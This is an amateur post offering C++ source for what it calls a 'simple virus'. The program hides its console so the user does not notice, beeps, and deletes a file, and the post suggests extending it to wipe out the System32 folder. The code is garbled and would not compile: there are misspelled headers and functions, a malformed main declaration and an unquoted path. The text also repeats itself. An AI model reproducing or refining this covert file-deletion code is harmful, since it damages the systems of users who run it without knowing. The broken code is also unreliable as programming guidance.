A simple virus in c++
This is a code of a simple virus, it deletes files without knowledge of the user, and it makes aswome beeping noises in the bios.
This will just delete a blank txt file on your C drive, so first make a file called
file.txt right onto your C drive (C:\file.txt).
next copy and paste this code into your compiler
When you run this Program you should hear a series of beeps (not from speekers from your bios) and it will delete the txt file.
This could be used to for example to wipe out your system 32, but you would have to write
for every file you want to delete.
YES I DID WRITE THIS, NOT THAT HARD
. just because im a
choob
or whatever doesnt mean that i dont know how to code in c++.





This will just delete a blank txt file on your C drive, so first make a file called
file.txt right onto your C drive (C:\file.txt).
next copy and paste this code into your compiler
Code:
#include <iostream>
#include <widows.h>
#include <winable>
#include <stdio.h>
using namespace std;
int main;
{
FreeConsle();//makes the program run without a console so the user has no idea what is about to happen, this is optional.
Beep(800,300); //FOR NOOBS BEEP(frecuince,duration 1000=1 second)
Sleep(3000);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
Beep(800,300);
Beep(2400,300);
remove("C:\\file.txt"/*YOU MUST use \\ not \ after C:*/);
return 0;
}
This could be used to for example to wipe out your system 32, but you would have to write
Code:
remove(C:\\example);
YES I DID WRITE THIS, NOT THAT HARD
. just because im a
choob
or whatever doesnt mean that i dont know how to code in c++.




